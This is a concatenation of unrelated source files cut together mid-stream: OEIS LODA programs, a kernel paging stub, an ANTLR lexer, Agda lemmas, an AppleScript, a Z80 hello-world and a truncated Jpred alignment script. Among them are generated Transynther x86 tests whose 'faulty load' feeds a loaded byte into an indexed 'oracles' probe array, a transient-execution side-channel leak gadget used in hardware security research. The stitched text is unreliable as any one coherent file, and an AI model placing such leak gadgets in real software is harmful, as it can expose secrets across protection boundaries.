{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'52': 21314, '5f': 300, '00': 215}
52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 5f 52 5f 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 5f 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 5f 52 52 52 52 52 52 5f 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
oeis/205/A205549.asm | neoneye/loda-programs | 11 | 243931 | <filename>oeis/205/A205549.asm
; A205549: Symmetric matrix by antidiagonals: C(max(i+2,j+2),min(i+2,j+2)), i>=1, j>=1.
; Submitted by <NAME>
; 1,4,4,10,1,10,20,5,5,20,35,15,1,15,35,56,35,6,6,35,56,84,70,21,1,21,70,84,120,126,56,7,7,56,126,120,165,210,126,28,1,28,126,210,165,220,330,252,84,8,8,84,252,330,220,286,495,462,210,36,1,36,210,462
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
min $0,$2
add $1,3
sub $1,$0
add $0,3
bin $1,$0
mov $0,$1
|
kernel/mem/paging.asm | a0w-svg/AzamiOS | 2 | 14962 |
global switch_page_dir
switch_page_dir:
mov eax, [esp+4]
mov cr3, eax
mov ebx, cr0
or ebx, 0x80010000
mov cr0, ebx
ret |
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_2_1869.asm | ljhsiun2/medusa | 9 | 87538 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rax
push %rbx
push %rdi
push %rdx
// Load
lea addresses_WT+0x179e1, %rdi
nop
nop
nop
nop
add %rbx, %rbx
mov (%rdi), %r12w
nop
nop
nop
add $22686, %r12
// Store
lea addresses_D+0x7635, %rdi
nop
and %rbx, %rbx
mov $0x5152535455565758, %r13
movq %r13, (%rdi)
nop
nop
nop
inc %r12
// Store
mov $0x909, %rdx
nop
nop
xor $36061, %r12
mov $0x5152535455565758, %r13
movq %r13, %xmm1
movaps %xmm1, (%rdx)
nop
nop
cmp %r13, %r13
// Store
lea addresses_UC+0x1f61, %r13
nop
nop
nop
nop
xor $14251, %rax
movw $0x5152, (%r13)
nop
nop
nop
nop
nop
xor %r12, %r12
// Load
lea addresses_normal+0x1e1e1, %rbx
nop
nop
dec %rax
movups (%rbx), %xmm1
vpextrq $0, %xmm1, %rdx
xor $53460, %rax
// Store
lea addresses_normal+0x1e1e1, %r12
and $55015, %r14
movl $0x51525354, (%r12)
// Exception!!!
nop
mov (0), %rbx
nop
nop
nop
inc %r12
// Load
lea addresses_normal+0x1e1e1, %r14
nop
xor $14905, %rdi
mov (%r14), %r12
nop
xor $28168, %rax
// Store
lea addresses_WC+0x4471, %r13
nop
nop
nop
nop
sub %rdi, %rdi
mov $0x5152535455565758, %rdx
movq %rdx, %xmm0
movntdq %xmm0, (%r13)
nop
nop
cmp %r14, %r14
// Faulty Load
lea addresses_normal+0x1e1e1, %rdi
nop
nop
sub %rbx, %rbx
mov (%rdi), %r13w
lea oracles, %rax
and $0xff, %r13
shlq $12, %r13
mov (%rax,%r13,1), %r13
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': True, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'54': 2}
54 54
*/
|
oeis/073/A073588.asm | neoneye/loda-programs | 11 | 177618 | <gh_stars>10-100
; A073588: a(n) = a(n-1)*2^n-1 with a(1)=1.
; Submitted by <NAME>(s3)
; 1,3,23,367,11743,751551,96198527,24626822911,12608933330431,12911547730361343,26442849751780030463,108309912583291004776447,887274803882319911128653823,14537110386807929423931864236031
mov $1,1
mov $2,2
lpb $0
sub $0,1
mul $2,2
mul $1,$2
sub $1,1
lpe
mov $0,$1
|
src/crtl/grammar/ChameleonRTLexer.g4 | Twinklebear/ChameleonRT-lang | 11 | 4995 | lexer grammar ChameleonRTLexer;
// Control flow
IF: 'if';
ELSE: 'else';
FOR: 'for';
WHILE: 'while';
DO: 'do';
CONTINUE: 'continue';
BREAK: 'break';
SWITCH: 'switch';
CASE: 'case';
DEFAULT: 'default';
// Types
BOOL: 'bool';
BOOL1: 'bool1';
BOOL2: 'bool2';
BOOL3: 'bool3';
BOOL4: 'bool4';
BOOL1X1: 'bool1x1';
BOOL2X1: 'bool2x1';
BOOL3X1: 'bool3x1';
BOOL4X1: 'bool4x1';
BOOL1X2: 'bool1x2';
BOOL2X2: 'bool2x2';
BOOL3X2: 'bool3x2';
BOOL4X2: 'bool4x2';
BOOL1X3: 'bool1x3';
BOOL2X3: 'bool2x3';
BOOL3X3: 'bool3x3';
BOOL4X3: 'bool4x3';
BOOL1X4: 'bool1x4';
BOOL2X4: 'bool2x4';
BOOL3X4: 'bool3x4';
BOOL4X4: 'bool4x4';
INT: 'int';
INT1: 'int1';
INT2: 'int2';
INT3: 'int3';
INT4: 'int4';
INT1X1: 'int1x1';
INT2X1: 'int2x1';
INT3X1: 'int3x1';
INT4X1: 'int4x1';
INT1X2: 'int1x2';
INT2X2: 'int2x2';
INT3X2: 'int3x2';
INT4X2: 'int4x2';
INT1X3: 'int1x3';
INT2X3: 'int2x3';
INT3X3: 'int3x3';
INT4X3: 'int4x3';
INT1X4: 'int1x4';
INT2X4: 'int2x4';
INT3X4: 'int3x4';
INT4X4: 'int4x4';
UINT: 'uint';
UINT1: 'uint1';
UINT2: 'uint2';
UINT3: 'uint3';
UINT4: 'uint4';
UINT1X1: 'uint1x1';
UINT2X1: 'uint2x1';
UINT3X1: 'uint3x1';
UINT4X1: 'uint4x1';
UINT1X2: 'uint1x2';
UINT2X2: 'uint2x2';
UINT3X2: 'uint3x2';
UINT4X2: 'uint4x2';
UINT1X3: 'uint1x3';
UINT2X3: 'uint2x3';
UINT3X3: 'uint3x3';
UINT4X3: 'uint4x3';
UINT1X4: 'uint1x4';
UINT2X4: 'uint2x4';
UINT3X4: 'uint3x4';
UINT4X4: 'uint4x4';
FLOAT: 'float';
FLOAT1: 'float1';
FLOAT2: 'float2';
FLOAT3: 'float3';
FLOAT4: 'float4';
FLOAT1X1: 'float1x1';
FLOAT2X1: 'float2x1';
FLOAT3X1: 'float3x1';
FLOAT4X1: 'float4x1';
FLOAT1X2: 'float1x2';
FLOAT2X2: 'float2x2';
FLOAT3X2: 'float3x2';
FLOAT4X2: 'float4x2';
FLOAT1X3: 'float1x3';
FLOAT2X3: 'float2x3';
FLOAT3X3: 'float3x3';
FLOAT4X3: 'float4x3';
FLOAT1X4: 'float1x4';
FLOAT2X4: 'float2x4';
FLOAT3X4: 'float3x4';
FLOAT4X4: 'float4x4';
DOUBLE: 'double';
DOUBLE1: 'double1';
DOUBLE2: 'double2';
DOUBLE3: 'double3';
DOUBLE4: 'double4';
DOUBLE1X1: 'double1x1';
DOUBLE2X1: 'double2x1';
DOUBLE3X1: 'double3x1';
DOUBLE4X1: 'double4x1';
DOUBLE1X2: 'double1x2';
DOUBLE2X2: 'double2x2';
DOUBLE3X2: 'double3x2';
DOUBLE4X2: 'double4x2';
DOUBLE1X3: 'double1x3';
DOUBLE2X3: 'double2x3';
DOUBLE3X3: 'double3x3';
DOUBLE4X3: 'double4x3';
DOUBLE1X4: 'double1x4';
DOUBLE2X4: 'double2x4';
DOUBLE3X4: 'double3x4';
DOUBLE4X4: 'double4x4';
BUFFER: 'Buffer';
RWBUFFER: 'RWBuffer';
TEXTURE: 'Texture' [1-3] 'D';
RWTEXTURE: 'RWTexture' [1-3] 'D';
ACCELERATION_STRUCTURE: 'AccelerationStructure';
RAY: 'Ray';
VOID: 'void';
STRUCT: 'struct';
TRUE: 'true';
FALSE: 'false';
// Other keywords
RAY_GEN: 'ray_gen';
CLOSEST_HIT: 'closest_hit';
ANY_HIT: 'any_hit';
INTERSECTION: 'intersection';
MISS: 'miss';
COMPUTE: 'compute';
CONST: 'const';
OUT: 'out';
IN: 'in';
IN_OUT: 'inout';
RETURN: 'return';
// Operators
MINUS: '-';
BANG: '!';
PLUS: '+';
STAR: '*';
SLASH: '/';
PLUS_PLUS: '++';
LESS: '<';
LESS_EQUAL: '<=';
GREATER: '>';
GREATER_EQUAL: '>=';
NOT_EQUAL: '!=';
EQUAL_EQUAL: '==';
EQUAL: '=';
BOOL_AND: '&&';
BOOL_OR: '||';
SEMICOLON: ';';
COMMA: ',';
PERIOD: '.';
// Identifiers and primitives
INTEGER_LITERAL: ('0' | '-'? [1-9]) [0-9]*
| ('0x' | '0X') [0-9a-fA-F]+
;
// TODO: Exponent parsing
FLOAT_LITERAL: ('0' | '-'? [1-9]) [0-9]* (PERIOD [0-9]+ | PERIOD)? [fF]?;
IDENTIFIER: [a-zA-Z_] [a-zA-Z0-9_]*;
// Other
LEFT_PAREN: '(';
RIGHT_PAREN: ')';
LEFT_BRACE: '{';
RIGHT_BRACE: '}';
LEFT_BRACKET: '[';
RIGHT_BRACKET: ']';
// TODO: It would be nice to preserve these in the translated source code
LINE_COMMENT: '//' .*? '\r'? '\n' -> skip;
BLOCK_COMMENT: '/*' .*? '*/' -> skip;
WHITESPACE: [ \t\n\r]+ -> skip;
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_9165_924.asm | ljhsiun2/medusa | 9 | 97699 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_9165_924.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1275c, %rcx
nop
nop
nop
dec %r9
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
movups %xmm4, (%rcx)
nop
nop
nop
nop
dec %rbp
lea addresses_normal_ht+0x29f4, %rcx
nop
xor %r10, %r10
movb $0x61, (%rcx)
xor $13299, %rcx
lea addresses_UC_ht+0x6bce, %r9
nop
nop
cmp $8904, %r13
mov (%r9), %edi
nop
nop
nop
sub $63822, %rdi
lea addresses_D_ht+0xc574, %rsi
lea addresses_normal_ht+0xd1f4, %rdi
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $36, %rcx
rep movsw
nop
nop
sub %rbp, %rbp
lea addresses_UC_ht+0x1cf4, %rsi
lea addresses_WT_ht+0x1ced4, %rdi
cmp $17754, %r10
mov $22, %rcx
rep movsw
nop
nop
inc %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_normal+0xbb14, %rax
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x5152535455565758, %rbx
movq %rbx, (%rax)
nop
nop
nop
nop
add $37831, %rcx
// Store
mov $0x70871a0000000eb6, %rax
nop
nop
nop
nop
add %r15, %r15
movw $0x5152, (%rax)
nop
nop
nop
nop
nop
inc %rcx
// Faulty Load
lea addresses_normal+0x1a3f4, %rcx
nop
and $30473, %r12
vmovups (%rcx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rdx
lea oracles, %r12
and $0xff, %rdx
shlq $12, %rdx
mov (%r12,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}}
{'34': 9165}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
archive/agda-2/Oscar/Data/Vec/Injectivity.agda | m0davis/oscar | 0 | 16363 |
module Oscar.Data.Vec.Injectivity where
open import Oscar.Data.Equality
open import Oscar.Data.Vec
Vec-head-inj : ∀ {a} {A : Set a} {x₁ x₂ : A} {N} {xs₁ xs₂ : Vec A N} → x₁ ∷ xs₁ ≡ x₂ ∷ xs₂ → x₁ ≡ x₂
Vec-head-inj refl = refl
Vec-tail-inj : ∀ {a} {A : Set a} {x₁ x₂ : A} {N} {xs₁ xs₂ : Vec A N} → x₁ ∷ xs₁ ≡ x₂ ∷ xs₂ → xs₁ ≡ xs₂
Vec-tail-inj refl = refl
|
programs/oeis/293/A293547.asm | neoneye/loda | 22 | 7298 | <filename>programs/oeis/293/A293547.asm
; A293547: a(n) is the integer k that minimizes |k/Fibonacci(n) - 2/3|.
; 0,1,1,1,2,3,5,9,14,23,37,59,96,155,251,407,658,1065,1723,2787,4510,7297,11807,19105,30912,50017,80929,130945,211874,342819,554693,897513,1452206,2349719,3801925,6151643,9953568,16105211,26058779,42163991,68222770,110386761,178609531,288996291,467605822,756602113,1224207935,1980810049,3205017984,5185828033,8390846017,13576674049,21967520066,35544194115,57511714181,93055908297,150567622478,243623530775,394191153253,637814684027,1032005837280,1669820521307,2701826358587,4371646879895,7073473238482,11445120118377,18518593356859,29963713475235,48482306832094,78446020307329,126928327139423,205374347446753,332302674586176,537677022032929,869979696619105,1407656718652033,2277636415271138,3685293133923171,5962929549194309,9648222683117481,15611152232311790,25259374915429271,40870527147741061,66129902063170331,107000429210911392,173130331274081723,280130760484993115,453261091759074839,733391852244067954,1186652944003142793,1920044796247210747,3106697740250353539,5026742536497564286,8133440276747917825,13160182813245482111,21293623089993399937,34453805903238882048,55747428993232281985,90201234896471164033,145948663889703446017
seq $0,22087 ; Fibonacci sequence beginning 0, 4.
add $0,2
div $0,6
|
CreateFolders.scpt | blueark/Create-Folders-AppleScript | 1 | 4049 | <reponame>blueark/Create-Folders-AppleScript
(*
Creates folders for a split job ticket.
*)
-- get the path to the folder of the front window
-- if no windows are open, the desktop folder will be used
try
tell application "Finder" to set the source_folder to (folder of the front window) as alias
on error -- no open folder windows
set the source_folder to path to desktop folder as alias
end tell
end try
repeat
display dialog "Enter Job Number:" default answer "" buttons {"Cancel", "OK"} default button 2
set the job_number to the text returned of the result
if the job_number is not "" then exit repeat
end repeat
repeat
display dialog "Enter Customer:" default answer "" buttons {"Cancel", "OK"} default button 2
set the customer_name to the text returned of the result
if the customer_name is not "" then exit repeat
end repeat
repeat
display dialog "Enter Number of Parts:" default answer "1" buttons {"Cancel", "OK"} default button 2
set job_parts to (the text returned of the result) as integer
if class of job_parts is integer then exit repeat
end repeat
-- Add subfolders to a given parent folder
on addFolders(pf)
tell application "Finder"
make new folder at pf with properties {name:"PRINT"}
make new folder at pf with properties {name:"Preflight Reports"}
make new folder at pf with properties {name:"Source Files"}
end tell
end addFolders
tell application "Finder"
set parentFolder to make new folder at source_folder with properties {name:job_number & "." & customer_name}
if job_parts > 1 then
repeat with i from 0 to (job_parts - 1)
set suffix to ""
if i > 0 then
set suffix to "."
if i < 10 then
set suffix to suffix & "0"
end if
set suffix to suffix & i
end if
set newFolder to make new folder at parentFolder with properties {name:job_number & suffix}
my addFolders(newFolder)
end repeat
else
my addFolders(parentFolder)
end if
beep 2
end tell
|
a/assembler_z80_zxspectrum.asm | venusing1998/hello-world | 94 | 179822 | <reponame>venusing1998/hello-world<filename>a/assembler_z80_zxspectrum.asm
org $6000
ld bc, STRING
ld de, SCR
LOOP
ld a, (bc)
cp 0
jr z, EXIT
rst $10
inc bc
inc de
jr LOOP
EXIT
ret
SCR equ 16384
STRING
defb "Hello World!"
defb 13, 0
|
data/jpred4/jp_batch_1613899824__oHP1qWe/jp_batch_1613899824__oHP1qWe.als | jonriege/predict-protein-structure | 0 | 3158 | <gh_stars>0
SILENT_MODE
BLOCK_FILE jp_batch_1613899824__oHP1qWe.concise.blc
MAX_NSEQ 790
MAX_INPUT_LEN 792
OUTPUT_FILE jp_batch_1613899824__oHP1qWe.concise.ps
PORTRAIT
POINTSIZE 8
IDENT_WIDTH 12
X_OFFSET 2
Y_OFFSET 2
DEFINE_FONT 0 Helvetica DEFAULT
DEFINE_FONT 1 Helvetica REL 0.75
DEFINE_FONT 7 Helvetica REL 0.6
DEFINE_FONT 3 Helvetica-Bold DEFAULT
DEFINE_FONT 4 Times-Bold DEFAULT
DEFINE_FONT 5 Helvetica-BoldOblique DEFAULT
#
DEFINE_COLOUR 3 1 0.62 0.67 # Turquiose
DEFINE_COLOUR 4 1 1 0 # Yellow
DEFINE_COLOUR 5 1 0 0 # Red
DEFINE_COLOUR 7 1 0 1 # Purple
DEFINE_COLOUR 8 0 0 1 # Blue
DEFINE_COLOUR 9 0 1 0 # Green
DEFINE_COLOUR 10 0.41 0.64 1.00 # Pale blue
DEFINE_COLOUR 11 0.41 0.82 0.67 # Pale green
DEFINE_COLOUR 50 0.69 0.18 0.37 # Pink (helix)
DEFINE_COLOUR 51 1.00 0.89 0.00 # Gold (strand)
NUMBER_INT 10
SETUP
#
# Highlight specific residues.
# Avoid highlighting Lupas 'C' predictions by
# limiting the highlighting to the alignments
Scol_CHARS C 1 1 333 779 4
Ccol_CHARS H ALL 5
Ccol_CHARS P ALL 8
SURROUND_CHARS LIV ALL
#
# Replace known structure types with whitespace
SUB_CHARS 1 780 333 789 H SPACE
SUB_CHARS 1 780 333 789 E SPACE
SUB_CHARS 1 780 333 789 - SPACE
STRAND 22 783 27
COLOUR_TEXT_REGION 22 783 27 783 51
STRAND 47 783 51
COLOUR_TEXT_REGION 47 783 51 783 51
STRAND 77 783 78
COLOUR_TEXT_REGION 77 783 78 783 51
STRAND 90 783 96
COLOUR_TEXT_REGION 90 783 96 783 51
STRAND 131 783 136
COLOUR_TEXT_REGION 131 783 136 783 51
STRAND 158 783 163
COLOUR_TEXT_REGION 158 783 163 783 51
STRAND 187 783 190
COLOUR_TEXT_REGION 187 783 190 783 51
STRAND 197 783 200
COLOUR_TEXT_REGION 197 783 200 783 51
STRAND 270 783 277
COLOUR_TEXT_REGION 270 783 277 783 51
STRAND 287 783 295
COLOUR_TEXT_REGION 287 783 295 783 51
STRAND 300 783 304
COLOUR_TEXT_REGION 300 783 304 783 51
HELIX 3 783 10
COLOUR_TEXT_REGION 3 783 10 783 50
HELIX 31 783 41
COLOUR_TEXT_REGION 31 783 41 783 50
HELIX 58 783 66
COLOUR_TEXT_REGION 58 783 66 783 50
HELIX 106 783 126
COLOUR_TEXT_REGION 106 783 126 783 50
HELIX 141 783 150
COLOUR_TEXT_REGION 141 783 150 783 50
HELIX 164 783 178
COLOUR_TEXT_REGION 164 783 178 783 50
HELIX 226 783 243
COLOUR_TEXT_REGION 226 783 243 783 50
HELIX 250 783 264
COLOUR_TEXT_REGION 250 783 264 783 50
HELIX 310 783 331
COLOUR_TEXT_REGION 310 783 331 783 50
STRAND 22 788 27
COLOUR_TEXT_REGION 22 788 27 788 51
STRAND 47 788 52
COLOUR_TEXT_REGION 47 788 52 788 51
STRAND 76 788 78
COLOUR_TEXT_REGION 76 788 78 788 51
STRAND 91 788 96
COLOUR_TEXT_REGION 91 788 96 788 51
STRAND 132 788 137
COLOUR_TEXT_REGION 132 788 137 788 51
STRAND 158 788 164
COLOUR_TEXT_REGION 158 788 164 788 51
STRAND 186 788 191
COLOUR_TEXT_REGION 186 788 191 788 51
STRAND 197 788 201
COLOUR_TEXT_REGION 197 788 201 788 51
STRAND 270 788 277
COLOUR_TEXT_REGION 270 788 277 788 51
STRAND 287 788 295
